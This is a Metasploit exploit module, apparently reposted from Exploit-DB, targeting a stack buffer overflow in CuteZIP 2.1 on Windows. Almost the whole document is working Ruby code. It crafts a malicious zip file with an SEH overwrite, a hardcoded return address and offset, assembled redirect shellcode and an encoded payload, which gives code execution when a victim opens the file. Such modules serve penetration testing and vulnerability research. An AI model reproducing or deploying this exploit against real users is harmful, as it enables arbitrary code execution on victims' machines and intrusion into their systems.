GlobalScape CuteZIP – Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 31 阅读

• 作者： Metasploit
  日期： 2012-08-15
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20542/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex/zip'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'globalSCAPE CuteZIP Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability in version 2.1
  				of CuteZIP.
  
  				In order for the command to be executed, an attacker must convince the target user
  				to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
  				execute arbitrary code as the target user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
  					'juan vazquez' # Metasploit
  				],
  			'References' =>
  				[
  					[ 'BID', '46375' ],
  					[ 'EDB', '16162' ],
  				],
  			'Platform'=> [ 'win' ],
  			'Payload' =>
  				{
  					'BadChars'=> "",
  					'DisableNops' => true,
  					'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
  				},
  			'Targets'=>
  				[
  					[
  						# Tested successfully on:
  						# * Windows XP SP3
  						# * Windows Vista SP2
  						# * Windows 7 SP1
  						# (NO DEP)
  						'CuteZIP 2.1 / Windows Universal',
  						{
  							'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe
  							'Offset'=> 1148,
  							'Nops'=> 398
  						}
  					],
  				],
  			'DisclosureDate' => 'Feb 12 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
  			], self.class)
  
  	end
  
  	def exploit
  
  		redirect_heap = <<-ASM
  			popad
  			popad
  			popad
  			push ecx
  			pop eax
  			call eax
  		ASM
  
  		crafted_file = rand_text(target['Offset'])
  		crafted_file << generate_seh_record(target.ret)
  		crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
  		crafted_file << make_nops(1) * target['Nops']
  		crafted_file << payload.encoded
  
  		# Create the file
  		zip = Rex::Zip::Archive.new
  		xtra = rand_text(4)
  		zip.add_file(crafted_file, xtra)
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  		file_create(zip.pack)
  	end
  
  end